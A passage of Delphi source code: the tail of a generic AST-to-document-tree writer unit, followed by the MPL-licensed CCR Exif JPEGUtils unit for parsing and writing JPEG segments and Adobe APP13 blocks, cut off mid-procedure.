uses AST.Classes, AST.Delphi.Parser;
type
TASTWriter<TDoc, TNode> = class
private
type
TWriteNodeProc = reference to procedure (const Node: TNode; const AST: TASTItem);
TGetNodeProc = reference to function (const Container: TDoc;
const RootNode: TNode; const NodeText: string): TNode;
var
fVarsSectionName: string;
fConstsSectionName: string;
fTypesSectionName: string;
fFuncsSectionName: string;
fDoc: TDoc;
fModule: TASTModule;
fGetNodeProc: TGetNodeProc;
fWriteNodeProc: TWriteNodeProc;
protected
procedure WriteVars(RootNode: TNode);
procedure WriteConsts(RootNode: TNode);
procedure WriteTypes(RootNode: TNode);
procedure WriteFuncs(RootNode: TNode);
procedure WriteBody(RootNode: TNode; Body: TASTBlock);
procedure WriteKW_If(RootNode: TNode; KW: TASTKWIF);
procedure WriteKW_Loop(RootNode: TNode; KW: TASTKWLoop);
procedure WriteKW_With(RootNode: TNode; KW: TASTKWWith);
procedure WriteKW_Case(RootNode: TNode; KW: TASTKWCase);
procedure WriteKW_DeclSections(RootNode: TNode; KW: TASTKWDeclSection);
procedure WriteKW_TryBlock(RootNode: TNode; KW: TASTKWTryBlock);
public
constructor Create(const Doc: TDoc;
const Module: TASTModule;
const GetNodeProc: TGetNodeProc;
const WriteNodeProc: TWriteNodeProc);
procedure Write(const RootNode: TNode);
end;
implementation
{ TASTWriter<TDest> }
uses AST.Delphi.Classes;
constructor TASTWriter<TDoc, TNode>.Create(const Doc: TDoc;
const Module: TASTModule;
const GetNodeProc: TGetNodeProc;
const WriteNodeProc: TWriteNodeProc);
begin
fVarsSectionName := 'vars';
fConstsSectionName := 'consts';
fTypesSectionName := 'types';
fFuncsSectionName := 'funcs';
fDoc := Doc;
fModule := Module;
fGetNodeProc := GetNodeProc;
fWriteNodeProc := WriteNodeProc;
end;
procedure TASTWriter<TDoc, TNode>.Write(const RootNode: TNode);
var
Node: TNode;
begin
Node := fGetNodeProc(fDoc, RootNode, fModule.Name);
WriteVars(Node);
WriteConsts(Node);
WriteTypes(Node);
WriteFuncs(Node);
end;
procedure TASTWriter<TDoc, TNode>.WriteConsts(RootNode: TNode);
begin
RootNode := fGetNodeProc(fDoc, RootNode, fConstsSectionName);
end;
procedure TASTWriter<TDoc, TNode>.WriteBody(RootNode: TNode; Body: TASTBlock);
var
Item: TASTItem;
CNode: TNode;
begin
if not Assigned(Body) then
Exit;
Item := Body.FirstChild;
while Assigned(Item) do
begin
CNode := fGetNodeProc(fDoc, RootNode, Item.DisplayName);
if Item is TASTKWIF then
WriteKW_If(CNode, TASTKWIF(Item))
else
if Item is TASTKWLoop then
WriteKW_Loop(CNode, TASTKWLoop(Item))
else
if Item is TASTKWWith then
WriteKW_With(CNode, TASTKWWith(Item))
else
if Item is TASTKWCase then
WriteKW_Case(CNode, TASTKWCase(Item))
else
if Item is TASTKWDeclSection then
WriteKW_DeclSections(CNode, TASTKWDeclSection(Item));
if Item is TASTKWTryBlock then
WriteKW_TryBlock(CNode, TASTKWTryBlock(Item));
Item := Item.Next;
end;
end;
procedure TASTWriter<TDoc, TNode>.WriteFuncs(RootNode: TNode);
var
Func: TASTDelphiProc;
CNode: TNode;
begin
RootNode := fGetNodeProc(fDoc, RootNode, fFuncsSectionName);
Func := fModule.GetFirstFunc() as TASTDelphiProc;
while Assigned(Func) do
begin
CNode := fGetNodeProc(fDoc, RootNode, Func.Name);
WriteBody(CNode, Func.Body);
Func := Func.NextItem as TASTDelphiProc;
end;
end;
procedure TASTWriter<TDoc, TNode>.WriteKW_Case(RootNode: TNode; KW: TASTKWCase);
var
CNode: TNode;
Item: TASTExpBlockItem;
begin
Item := KW.FirstItem;
while Assigned(Item) do
begin
CNode := fGetNodeProc(fDoc, RootNode, Item.Expression.DisplayName + ':');
WriteBody(CNode, Item.Body);
Item := Item.Next as TASTExpBlockItem;
end;
if Assigned(KW.ElseBody) then
begin
CNode := fGetNodeProc(fDoc, RootNode, 'else');
WriteBody(CNode, KW.ElseBody);
end;
end;
procedure TASTWriter<TDoc, TNode>.WriteKW_DeclSections(RootNode: TNode; KW: TASTKWDeclSection);
begin
for var Decl in KW.Decls do
fGetNodeProc(fDoc, RootNode, Decl.DisplayName);
end;
procedure TASTWriter<TDoc, TNode>.WriteKW_If(RootNode: TNode; KW: TASTKWIF);
var
CNode: TNode;
begin
CNode := fGetNodeProc(fDoc, RootNode, 'then');
WriteBody(CNode, KW.ThenBody);
if Assigned(KW.ElseBody) then
begin
CNode := fGetNodeProc(fDoc, RootNode, 'else');
WriteBody(CNode, KW.ElseBody);
end;
end;
procedure TASTWriter<TDoc, TNode>.WriteKW_Loop(RootNode: TNode; KW: TASTKWLoop);
begin
WriteBody(RootNode, KW.Body);
end;
procedure TASTWriter<TDoc, TNode>.WriteKW_TryBlock(RootNode: TNode; KW: TASTKWTryBlock);
var
CNode: TNode;
Item: TASTExpBlockItem;
begin
WriteBody(RootNode, KW.Body);
Item := KW.FirstExceptBlock;
if Assigned(Item) then
begin
CNode := fGetNodeProc(fDoc, RootNode, 'except');
while Assigned(Item) do
begin
var OnNode: TNode := fGetNodeProc(fDoc, CNode, 'on ' + Item.DisplayName);
WriteBody(OnNode, Item.Body);
Item := Item.Next as TASTExpBlockItem;
end;
end;
if Assigned(KW.FinallyBody) then
begin
CNode := fGetNodeProc(fDoc, RootNode, 'finally');
WriteBody(CNode, KW.FinallyBody);
end;
end;
procedure TASTWriter<TDoc, TNode>.WriteKW_With(RootNode: TNode; KW: TASTKWWith);
begin
WriteBody(RootNode, KW.Body);
end;
procedure TASTWriter<TDoc, TNode>.WriteTypes(RootNode: TNode);
begin
RootNode := fGetNodeProc(fDoc, RootNode, fTypesSectionName);
end;
procedure TASTWriter<TDoc, TNode>.WriteVars(RootNode: TNode);
begin
RootNode := fGetNodeProc(fDoc, RootNode, fVarsSectionName);
end;
end.
|
{**************************************************************************************}
{ }
{ CCR Exif - Delphi class library for reading and writing Exif metadata in JPEG files }
{ Version 1.5.0 beta }
{ }
{ The contents of this file are subject to the Mozilla Public License Version 1.1 }
{ (the "License"); you may not use this file except in compliance with the License. }
{ You may obtain a copy of the License at http://www.mozilla.org/MPL/ }
{ }
{ Software distributed under the License is distributed on an "AS IS" basis, WITHOUT }
{ WARRANTY OF ANY KIND, either express or implied. See the License for the specific }
{ language governing rights and limitations under the License. }
{ }
{ The Original Code is CCR.Exif.JPEGUtils.pas. }
{ }
{ The Initial Developer of the Original Code is Chris Rolliston. Portions created by }
{ Chris Rolliston are Copyright (C) 2009-2011 Chris Rolliston. All Rights Reserved. }
{ }
{**************************************************************************************}
{$I CCR.Exif.inc}
unit CCR.Exif.JPEGUtils
{$IFDEF DepCom}
deprecated 'Use CCR.Exif.BaseUtils instead'
{$ELSE}
{$MESSAGE WARN 'CCR.Exif.JPEGUtils is deprecated: use CCR.Exif.BaseUtils instead'}
{$ENDIF};
interface
uses
Types, SysUtils, Classes, Graphics, JPEG, CCR.Exif.StreamHelper;
type
EInvalidJPEGHeader = class(EInvalidGraphic);
PJPEGSegmentHeader = ^TJPEGSegmentHeader;
TJPEGSegmentHeader = packed record
strict private
function GetDataSize: Word;
procedure SetDataSize(const Value: Word);
public
property DataSize: Word read GetDataSize write SetDataSize;
public
NewMarkerByte: Byte; //$FF
MarkerNum: Byte;
case Integer of
0: (DataSizeHi, DataSizeLo: Byte;
Data: record end);
1: (DataSizeBigEndian: Word);
end;
TJFIFDensityUnits = (duNone, duPixelsPerInch, duPixelsPerCentimetre);
TJFIFData = packed record
strict private
function GetHorzDensity: Word;
procedure SetHorzDensity(const Value: Word);
function GetVertDensity: Word;
procedure SetVertDensity(const Value: Word);
public
property HorzDensity: Word read GetHorzDensity write SetHorzDensity;
property VertDensity: Word read GetVertDensity write SetVertDensity;
public
Ident: array[0..4] of AnsiChar; //should be 'JFIF', including null terminator
MajorVersion, MinorVersion: Byte;
DensityUnits: TJFIFDensityUnits;
case Integer of
0: (HorzDensityHi, HorzDensityLo: Byte;
VertDensityHi, VertDensityLo: Byte;
ThumbnailWidth, ThumbnailHeight: Byte;
ThumbnailPixels: record end);
1: (HorzDensityBigEndian: Word;
VertDensityBigEndian: Word);
end;
PJPEGStartOfFrameData = ^TJPEGStartOfFrameData;
TJPEGStartOfFrameData = packed record
strict private
function GetImageWidth: Word;
function GetImageHeight: Word;
procedure SetImageHeight(const Value: Word);
procedure SetImageWidth(const Value: Word);
public
property ImageWidth: Word read GetImageWidth write SetImageWidth;
property ImageHeight: Word read GetImageHeight write SetImageHeight;
public
SamplePrecision: Byte; //8
ImageHeightHi, ImageHeightLo: Byte;
ImageWidthHi, ImageWidthLo: Byte;
ComponentCount: Byte; //1 = gray scaled, 3 = color YCbCr or YIQ, 4 = color CMYK
ComponentData: record end;
end;
TJPEGMarker = Byte;
TJPEGMarkers = set of TJPEGMarker;
IAdobeBlock = interface(IStreamPersist)
['{6E17F2E8-1486-4D6C-8824-CE7F06AB9319}']
function GetSignature: AnsiString;
procedure SetSignature(const Value: AnsiString);
function GetTypeID: Word;
procedure SetTypeID(Value: Word);
function GetName: AnsiString;
procedure SetName(const Value: AnsiString);
function GetData: TCustomMemoryStream;
function HasIPTCData: Boolean;
property Signature: AnsiString read GetSignature write SetSignature;
property TypeID: Word read GetTypeID write SetTypeID;
property Name: AnsiString read GetName write SetName;
property Data: TCustomMemoryStream read GetData;
end;
TAdobeApp13Enumerator = class
strict private
FCurrent: IAdobeBlock;
FNextPos: Int64;
FStream: TStream;
public
constructor Create(AStream: TStream; const AFirstBlockPos: Int64);
function MoveNext: Boolean;
property Current: IAdobeBlock read FCurrent;
end;
IJPEGSegment = interface
['{CF516230-D958-4C50-8C05-5AD985C6CBDD}']
function GetData: TCustomMemoryStream;
function GetEnumerator: TAdobeApp13Enumerator;
function GetMarkerNum: TJPEGMarker;
function IsAdobeApp13: Boolean;
property Data: TCustomMemoryStream read GetData;
property MarkerNum: TJPEGMarker read GetMarkerNum;
end;
TUserJPEGSegment = class(TInterfacedObject, IJPEGSegment)
strict private
FAdobeHeaderSize: Integer;
FData: TMemoryStream;
FMarkerNum: TJPEGMarker;
protected
{ IJPEGSegment }
function GetData: TCustomMemoryStream;
function GetEnumerator: TAdobeApp13Enumerator;
function GetMarkerNum: TJPEGMarker;
function IsAdobeApp13: Boolean;
public const
AdobeHeader: array[0..13] of AnsiChar = 'Photoshop 3.0'#0;
OldAdobeHeader: array[0..18] of AnsiChar = 'Adobe_Photoshop2.5:';
public
constructor Create(AMarkerNum: TJPEGMarker = 0; const ASource: IStreamPersist = nil); overload;
destructor Destroy; override;
property Data: TMemoryStream read FData;
property MarkerNum: TJPEGMarker read FMarkerNum write FMarkerNum;
end;
IFoundJPEGSegment = interface(IJPEGSegment)
['{138192CD-85DD-4CEB-B1A7-4678C7D67C88}']
function GetOffset: Int64;
function GetOffsetOfData: Int64;
function GetTotalSize: Word;
property Offset: Int64 read GetOffset;
property OffsetOfData: Int64 read GetOffsetOfData;
property TotalSize: Word read GetTotalSize;
end;
IJPEGHeaderParser = interface
function GetCurrent: IFoundJPEGSegment;
function GetEnumerator: IJPEGHeaderParser;
function MoveNext: Boolean;
property Current: IFoundJPEGSegment read GetCurrent;
end;
const
JPEGSegmentHeaderSize = 4 deprecated {$IFDEF DepCom}'Use TJPEGSegment.HeaderSize in CCR.Exif.BaseUtils instead'{$ENDIF};
AllJPEGMarkers = [Low(TJPEGMarker)..High(TJPEGMarker)];
AnyJPEGMarker = AllJPEGMarkers;
jmNewOrPadding = TJPEGMarker($FF);
jmStartOfImage = TJPEGMarker($D8);
jmEndOfImage = TJPEGMarker($D9);
jmQuantizationTable = TJPEGMarker($DB);
jmStartOfFrame0 = TJPEGMarker($C0);
jmStartOfFrame1 = TJPEGMarker($C1);
jmStartOfFrame2 = TJPEGMarker($C2);
jmStartOfFrame3 = TJPEGMarker($C3);
jmStartOfFrame5 = TJPEGMarker($C5);
jmStartOfFrame6 = TJPEGMarker($C6);
jmStartOfFrame7 = TJPEGMarker($C7);
jmJPEGExtension = TJPEGMarker($C8);
jmHuffmanTable = TJPEGMarker($C4);
jmRestartInternal = TJPEGMarker($DD);
jmComment = TJPEGMarker($FE);
jmAppSpecificFirst = TJPEGMarker($E0);
jmAppSpecificLast = TJPEGMarker($EF);
jmJFIF = TJPEGMarker($E0);
jmApp1 = TJPEGMarker($E1);
jmApp13 = TJPEGMarker($ED);
jmStartOfScan = TJPEGMarker($DA);
JPEGFileHeader: Word = jmNewOrPadding or jmStartOfImage shl 8;
StartOfFrameMarkers = [jmStartOfFrame0..jmStartOfFrame3,
jmStartOfFrame5..jmStartOfFrame7]; //there's no jmStartOfFrame4
MarkersWithNoData = [$00, $01, $D0..$D9];
{
var
Segment: IFoundJPEGSegment;
begin
for Segment in JPEGHeader(JPEGStream) do
...
for Segment in JPEGHeader('myimage.jpg') do
...
for Segment in JPEGHeader(JPEGImage) do
...
}
function JPEGHeader(JPEGStream: TStream; const MarkersToLookFor: TJPEGMarkers;
StreamOwnership: TStreamOwnership = soReference): IJPEGHeaderParser; overload;
function JPEGHeader(const JPEGFile: string;
const MarkersToLookFor: TJPEGMarkers = AnyJPEGMarker): IJPEGHeaderParser; overload; inline;
function JPEGHeader(Image: TJPEGImage;
const MarkersToLookFor: TJPEGMarkers = AnyJPEGMarker): IJPEGHeaderParser; overload;
function HasJPEGHeader(Stream: TStream): Boolean; overload;
function HasJPEGHeader(const FileName: string): Boolean; overload;
function GetJPEGDataSize(Data: TStream): Int64; overload;
function GetJPEGDataSize(JPEG: TJPEGImage): Int64; overload;
procedure WriteJPEGFileHeaderToStream(Stream: TStream); inline; deprecated {$IFDEF DepCom}'Use WriteJPEGFileHeader in CCR.Exif.BaseUtils instead'{$ENDIF};
procedure WriteJPEGSegmentToStream(Stream: TStream; MarkerNum: TJPEGMarker;
const Data; DataSize: Word); overload; deprecated {$IFDEF DepCom}'Use WriteJPEGSegment in CCR.Exif.BaseUtils instead'{$ENDIF};
procedure WriteJPEGSegmentToStream(Stream: TStream; MarkerNum: TJPEGMarker;
Data: TStream; DataSize: Word = 0); overload; deprecated {$IFDEF DepCom}'Use WriteJPEGSegment in CCR.Exif.BaseUtils instead'{$ENDIF};
procedure WriteJPEGSegmentToStream(Stream: TStream; Segment: IJPEGSegment); overload; deprecated {$IFDEF DepCom}'Use WriteJPEGSegment in CCR.Exif.BaseUtils instead'{$ENDIF};
const
NewIPTCTagMarker: Byte = 28;
function CreateAdobeBlock: IAdobeBlock; overload;
function CreateAdobeBlock(ATypeID: Word; const AName: AnsiString;
const ADataSource: IStreamPersist = nil): IAdobeBlock; overload;
function CreateAdobeBlock(const ASignature: AnsiString; ATypeID: Word;
const AName: AnsiString; const ADataSource: IStreamPersist = nil): IAdobeBlock; overload;
function CreateAdobeApp13Segment(const Blocks: array of IAdobeBlock): IJPEGSegment; overload;
function CreateAdobeApp13Segment(const Blocks: IInterfaceList = nil): IJPEGSegment; overload;
function RemoveJPEGSegments(const JPEGFile: string; Markers: TJPEGMarkers): TJPEGMarkers; overload;
function RemoveJPEGSegments(Image: TJPEGImage; Markers: TJPEGMarkers): TJPEGMarkers; overload;
implementation
uses RTLConsts, CCR.Exif.Consts;
type
TAdobeBlock = class(TInterfacedObject, IStreamPersist, IAdobeBlock)
strict private
FSignature: AnsiString;
FTypeID: Word;
FName: AnsiString;
FData: TMemoryStream;
protected
{ IStreamPersist}
procedure LoadFromStream(Stream: TStream);
procedure SaveToStream(Stream: TStream);
{ IAdobeBlock}
function GetSignature: AnsiString;
procedure SetSignature(const Value: AnsiString);
function GetTypeID: Word;
procedure SetTypeID(Value: Word);
function GetName: AnsiString;
procedure SetName(const Value: AnsiString);
function GetData: TCustomMemoryStream;
function HasIPTCData: Boolean;
public
constructor Create(AStream: TStream = nil); overload;
constructor Create(const ASignature: AnsiString; ATypeID: Word;
const AName: AnsiString; const ADataSource: IStreamPersist); overload;
destructor Destroy; override;
end;
TFoundJPEGSegment = class(TUserJPEGSegment, IFoundJPEGSegment)
strict private
FOffset: Int64;
protected
{ IFoundJPEGSegment }
function GetOffset: Int64;
function GetOffsetOfData: Int64;
function GetTotalSize: Word;
public
constructor Create(AMakerNum: TJPEGMarker; ASource: TStream; ADataSize: Integer); overload;
end;
TJPEGHeaderParser = class(TInterfacedObject, IJPEGHeaderParser)
strict private
FCurrent: IFoundJPEGSegment;
FLastMarker: TJPEGMarker;
FMarkersToLookFor: TJPEGMarkers;
FSavedPos, FStartPos: Int64;
FStream: TStream;
FStreamOwnership: TStreamOwnership;
protected
function GetEnumerator: IJPEGHeaderParser;
function GetCurrent: IFoundJPEGSegment;
function MoveNext: Boolean;
public
constructor Create(JPEGStream: TStream; const MarkersToLookFor: TJPEGMarkers;
StreamOwnership: TStreamOwnership);
destructor Destroy; override;
end;
{ TAdobeBlock }
function GetValidSignature(const S: AnsiString): AnsiString;
begin
Result := StringOfChar(AnsiChar(' '), 4);
StrPLCopy(PAnsiChar(Result), S, 4);
end;
constructor TAdobeBlock.Create(AStream: TStream);
begin
FData := TMemoryStream.Create;
if AStream <> nil then LoadFromStream(AStream);
end;
constructor TAdobeBlock.Create(const ASignature: AnsiString; ATypeID: Word;
const AName: AnsiString; const ADataSource: IStreamPersist);
begin
Create;
FSignature := GetValidSignature(ASignature);
FTypeID := ATypeID;
FName := AName;
if ADataSource <> nil then ADataSource.SaveToStream(FData);
end;
destructor TAdobeBlock.Destroy;
begin
FData.Free;
inherited;
end;
function TAdobeBlock.GetData: TCustomMemoryStream;
begin
Result := FData;
end;
function TAdobeBlock.GetName: AnsiString;
begin
Result := FName;
end;
function TAdobeBlock.GetSignature: AnsiString;
begin
Result := FSignature;
end;
function TAdobeBlock.GetTypeID: Word;
begin
Result := FTypeID;
end;
function TAdobeBlock.HasIPTCData: Boolean;
begin
Result := (FTypeID = $0404) and (FData.Size > 4) and (PByte(FData.Memory)^ = NewIPTCTagMarker);
end;
procedure TAdobeBlock.LoadFromStream(Stream: TStream);
var
Len: Integer;
begin
SetString(FSignature, nil, 4);
Stream.ReadBuffer(Pointer(FSignature)^, 4);
FTypeID := Stream.ReadWord(BigEndian);
Len := Stream.ReadByte;
SetString(FName, nil, Len);
if Len <> 0 then Stream.ReadBuffer(Pointer(FName)^, Len);
if not Odd(Len) then Stream.ReadByte;
Len := Stream.ReadLongInt(BigEndian);
if Len < 0 then Len := 0; //!!!
FData.Size := Len;
if Len <> 0 then
begin
Stream.ReadBuffer(FData.Memory^, Len);
if Odd(Len) then Stream.ReadByte;
end;
end;
procedure TAdobeBlock.SaveToStream(Stream: TStream);
var
Buffer: array[0..4] of AnsiChar;
Len: Integer;
begin
Stream.WriteBuffer(StrPLCopy(Buffer, FSignature, 4)^, 4);
Stream.WriteWord(FTypeID, BigEndian);
Len := Length(FName);
if Len > High(Byte) then Len := High(Byte);
Stream.WriteByte(Len);
if Len <> 0 then Stream.WriteBuffer(Pointer(FName)^, Len);
if not Odd(Len) then Stream.WriteByte(0);
Len := FData.Size;
Stream.WriteLongInt(Len, BigEndian);
if Len <> 0 then Stream.WriteBuffer(FData.Memory^, Len);
if Odd(Len) then Stream.WriteByte(0);
end;
procedure TAdobeBlock.SetName(const Value: AnsiString);
begin
FName := Value;
end;
procedure TAdobeBlock.SetSignature(const Value: AnsiString);
begin
FSignature := GetValidSignature(Value);
end;
procedure TAdobeBlock.SetTypeID(Value: Word);
begin
FTypeID := Value;
end;
{ TAdobeApp13Enumerator }
constructor TAdobeApp13Enumerator.Create(AStream: TStream; const AFirstBlockPos: Int64);
begin
FStream := AStream;
FNextPos := AFirstBlockPos;
end;
function TAdobeApp13Enumerator.MoveNext: Boolean;
begin
FCurrent := nil;
Result := FNextPos < FStream.Size - 12;
if not Result then Exit;
FStream.Position := FNextPos;
FCurrent := TAdobeBlock.Create(FStream);
FNextPos := FStream.Position;
end;
{ TJPEGSegmentHeader }
function TJPEGSegmentHeader.GetDataSize: Word;
begin
Result := DataSizeLo or (DataSizeHi shl 8);
end;
procedure TJPEGSegmentHeader.SetDataSize(const Value: Word);
begin
with WordRec(Value) do
begin
DataSizeHi := Hi;
DataSizeLo := Lo;
end;
end;
{ TJFIFData }
function TJFIFData.GetHorzDensity: Word;
begin
Result := HorzDensityLo or (HorzDensityHi shl 8);
end;
function TJFIFData.GetVertDensity: Word;
begin
Result := VertDensityLo or (VertDensityHi shl 8);
end;
procedure TJFIFData.SetHorzDensity(const Value: Word);
begin
with WordRec(Value) do
begin
HorzDensityHi := Hi;
HorzDensityLo := Lo;
end;
end;
procedure TJFIFData.SetVertDensity(const Value: Word);
begin
with WordRec(Value) do
begin
VertDensityHi := Hi;
VertDensityLo := Lo;
end;
end;
{ TJPEGStartOfFrameData }
function TJPEGStartOfFrameData.GetImageWidth: Word;
begin
Result := ImageWidthLo or (ImageWidthHi shl 8);
end;
function TJPEGStartOfFrameData.GetImageHeight: Word;
begin
Result := ImageHeightLo or (ImageHeightHi shl 8);
end;
procedure TJPEGStartOfFrameData.SetImageHeight(const Value: Word);
begin
with WordRec(Value) do
begin
ImageHeightHi := Hi;
ImageHeightLo := Lo;
end;
end;
procedure TJPEGStartOfFrameData.SetImageWidth(const Value: Word);
begin
with WordRec(Value) do
begin
ImageWidthHi := Hi;
ImageWidthLo := Lo;
end;
end;
{ TUserJPEGSegment }
constructor TUserJPEGSegment.Create(AMarkerNum: TJPEGMarker = 0;
const ASource: IStreamPersist = nil);
begin
FData := TMemoryStream.Create;
FMarkerNum := AMarkerNum;
if ASource <> nil then
begin
ASource.SaveToStream(FData);
FData.Position := 0;
end;
end;
destructor TUserJPEGSegment.Destroy;
begin
FData.Free;
inherited;
end;
function TUserJPEGSegment.GetData: TCustomMemoryStream;
begin
Result := FData;
end;
function TUserJPEGSegment.GetEnumerator: TAdobeApp13Enumerator;
begin
if IsAdobeApp13 then
Result := TAdobeApp13Enumerator.Create(Data, FAdobeHeaderSize)
else
Result := TAdobeApp13Enumerator.Create(Data, MaxLongint);
end;
function TUserJPEGSegment.GetMarkerNum: TJPEGMarker;
begin
Result := FMarkerNum;
end;
function TUserJPEGSegment.IsAdobeApp13: Boolean;
begin
Result := False;
FAdobeHeaderSize := 0;
if (MarkerNum <> jmApp13) or (Data.Size < 20) then Exit;
if CompareMem(@AdobeHeader, Data.Memory, SizeOf(AdobeHeader)) then
FAdobeHeaderSize := SizeOf(AdobeHeader)
else if CompareMem(@OldAdobeHeader, Data.Memory, SizeOf(OldAdobeHeader)) then
FAdobeHeaderSize := SizeOf(OldAdobeHeader)
else
Exit;
Result := True;
end;
{ TFoundJPEGSegment }
constructor TFoundJPEGSegment.Create(AMakerNum: TJPEGMarker; ASource: TStream;
ADataSize: Integer);
begin
inherited Create(AMakerNum);
FOffset := ASource.Position - SizeOf(TJPEGSegmentHeader);
if AMakerNum in MarkersWithNoData then
Inc(FOffset, 2)
else if ADataSize > 0 then
begin
Data.Size := ADataSize;
ASource.ReadBuffer(Data.Memory^, ADataSize);
end;
end;
{ TFoundJPEGSegment.IFoundJPEGSegment }
function TFoundJPEGSegment.GetOffset: Int64;
begin
Result := FOffset;
end;
function TFoundJPEGSegment.GetOffsetOfData: Int64;
begin
Result := FOffset + SizeOf(TJPEGSegmentHeader);
end;
function TFoundJPEGSegment.GetTotalSize: Word;
begin
Result := Word(Data.Size + SizeOf(TJPEGSegmentHeader));
if MarkerNum in MarkersWithNoData then Dec(Result, 2);
end;
{ TJPEGHeaderParser }
constructor TJPEGHeaderParser.Create(JPEGStream: TStream;
const MarkersToLookFor: TJPEGMarkers; StreamOwnership: TStreamOwnership);
begin
inherited Create;
FMarkersToLookFor := MarkersToLookFor;
FStartPos := JPEGStream.Position;
FStream := JPEGStream;
FStreamOwnership := StreamOwnership;
if JPEGStream.ReadWord(SmallEndian) <> JPEGFileHeader then
raise EInvalidJPEGHeader.Create(SInvalidJPEGHeader);
FSavedPos := FStartPos + 2;
end;
destructor TJPEGHeaderParser.Destroy;
begin
if FStreamOwnership = soOwned then //If loop didn't complete, MoveNext
FreeAndNil(FStream); //wouldn't have had the chance to
inherited; //free the stream.
end;
function TJPEGHeaderParser.GetCurrent: IFoundJPEGSegment;
begin
Result := FCurrent;
end;
function TJPEGHeaderParser.GetEnumerator: IJPEGHeaderParser;
begin
Result := Self;
end;
function TJPEGHeaderParser.MoveNext: Boolean;
var
AllocatedBuffer: Boolean;
Buffer: PAnsiChar;
BufferSize: Integer;
DataSize: Word;
MaxPos, SeekPtr: PAnsiChar;
begin
FCurrent := nil;
Result := False;
if (FStream = nil) or (FLastMarker = jmEndOfImage) then Exit;
FStream.Position := FSavedPos;
while FStream.ReadByte = jmNewOrPadding do
begin
repeat
FLastMarker := FStream.ReadByte;
until (FLastMarker <> jmNewOrPadding); //extra $FF bytes are legal as padding
if FLastMarker in MarkersWithNoData then
DataSize := 0
else
DataSize := FStream.ReadWord(BigEndian) - 2;
if not (FLastMarker in FMarkersToLookFor) then
if FLastMarker = jmEndOfImage then
Break
else
FStream.Seek(DataSize, soCurrent)
else
begin
FCurrent := TFoundJPEGSegment.Create(FLastMarker, FStream, DataSize);
FSavedPos := FStream.Position;
Result := True;
Exit;
end;
end;
if (FLastMarker = jmStartOfScan) and (jmEndOfImage in FMarkersToLookFor) then
begin
FSavedPos := FStream.Position;
BufferSize := FStream.Size - FSavedPos;
AllocatedBuffer := not (FStream is TCustomMemoryStream);
if AllocatedBuffer then
GetMem(Buffer, BufferSize)
else
begin
Buffer := TCustomMemoryStream(FStream).Memory;
Inc(Buffer, FSavedPos);
end;
try
if AllocatedBuffer then FStream.ReadBuffer(Buffer^, BufferSize);
MaxPos := @Buffer[BufferSize - 1];
SeekPtr := Buffer;
while SeekPtr < MaxPos do
begin
Inc(SeekPtr);
if Byte(SeekPtr^) <> jmNewOrPadding then Continue;
Inc(SeekPtr);
if Byte(SeekPtr^) <> jmEndOfImage then Continue;
Inc(SeekPtr);
FStream.Position := FSavedPos + (SeekPtr - Buffer);
FCurrent := TFoundJPEGSegment.Create(jmEndOfImage, FStream, 0);
FLastMarker := jmEndOfImage;
Result := True;
Exit;
end;
finally
if AllocatedBuffer then FreeMem(Buffer);
end;
FStream.Seek(0, soEnd);
end;
if FStreamOwnership = soOwned then
FreeAndNil(FStream);
end;
function JPEGHeader(JPEGStream: TStream; const MarkersToLookFor: TJPEGMarkers;
StreamOwnership: TStreamOwnership = soReference): IJPEGHeaderParser; overload;
begin
Result := TJPEGHeaderParser.Create(JPEGStream, MarkersToLookFor, StreamOwnership);
end;
function JPEGHeader(const JPEGFile: string;
const MarkersToLookFor: TJPEGMarkers): IJPEGHeaderParser;
begin
Result := JPEGHeader(TFileStream.Create(JPEGFile, fmOpenRead or fmShareDenyWrite), MarkersToLookFor,
soOwned);
end;
function JPEGHeader(Image: TJPEGImage;
const MarkersToLookFor: TJPEGMarkers): IJPEGHeaderParser;
var
Stream: TMemoryStream;
begin
Stream := TMemoryStream.Create;
Image.SaveToStream(Stream);
Stream.Position := 0;
Result := JPEGHeader(Stream, MarkersToLookFor, soOwned);
end;
function HasJPEGHeader(Stream: TStream): Boolean; overload;
begin
Result := Stream.TryReadHeader(JPEGFileHeader, SizeOf(JPEGFileHeader));
if Result then Stream.Seek(-SizeOf(JPEGFileHeader), soCurrent);
end;
function HasJPEGHeader(const FileName: string): Boolean; overload;
var
Stream: TFileStream;
begin
Stream := TFileStream.Create(FileName, fmOpenRead or fmShareDenyWrite);
try
Result := HasJPEGHeader(Stream);
finally
Stream.Free;
end;
end;
function GetJPEGDataSize(Data: TStream): Int64; overload;
var
OrigPos: Int64;
Segment: IFoundJPEGSegment;
begin
OrigPos := Data.Position;
Result := Data.Size - OrigPos;
for Segment in JPEGHeader(Data, [jmEndOfImage]) do
Result := Data.Position - OrigPos;
Data.Position := OrigPos;
end;
function GetJPEGDataSize(JPEG: TJPEGImage): Int64; overload;
var
Stream: TMemoryStream;
begin
Stream := TMemoryStream.Create;
try
JPEG.SaveToStream(Stream); //TJPEGImage.LoadFromStream keeps everything from the starting pos
Stream.Position := 0;
Result := GetJPEGDataSize(Stream);
finally
Stream.Free;
end;
end;
procedure WriteJPEGFileHeaderToStream(Stream: TStream); inline;
begin
Stream.WriteBuffer(JPEGFileHeader, SizeOf(JPEGFileHeader));
end;
procedure WriteJPEGSegmentToStream(Stream: TStream; MarkerNum: TJPEGMarker;
const Data; DataSize: Word); overload;
var
Header: TJPEGSegmentHeader;
begin
Header.NewMarkerByte := jmNewOrPadding;
Header.MarkerNum := MarkerNum;
Inc(DataSize, 2);
Header.DataSizeHi := Hi(DataSize);
Header.DataSizeLo := Lo(DataSize);
Dec(DataSize, 2);
Stream.WriteBuffer(Header, SizeOf(Header));
if (DataSize > 0) and (@Data <> nil) then Stream.WriteBuffer(Data, DataSize);
end;
procedure WriteJPEGSegmentToStream(Stream: TStream; MarkerNum: TJPEGMarker;
Data: TStream; DataSize: Word); overload;
var
Buffer: Pointer;
BufferAllocated: Boolean;
begin
if DataSize = 0 then
begin
Data.Position := 0;
DataSize := Word(Data.Size);
if DataSize = 0 then
begin
WriteJPEGSegmentToStream(Stream, MarkerNum, MarkerNum, 0);
Exit;
end;
end;
BufferAllocated := not (Data is TCustomMemoryStream);
if BufferAllocated then
GetMem(Buffer, DataSize)
else
begin
Buffer := @PByteArray(TCustomMemoryStream(Data).Memory)[Data.Position];
Data.Seek(DataSize, soCurrent);
end;
try
if BufferAllocated then Data.ReadBuffer(Buffer^, DataSize);
WriteJPEGSegmentToStream(Stream, MarkerNum, Buffer^, DataSize);
finally
if BufferAllocated then FreeMem(Buffer);
end;
end;
procedure WriteJPEGSegmentToStream(Stream: TStream; Segment: IJPEGSegment); overload;
begin
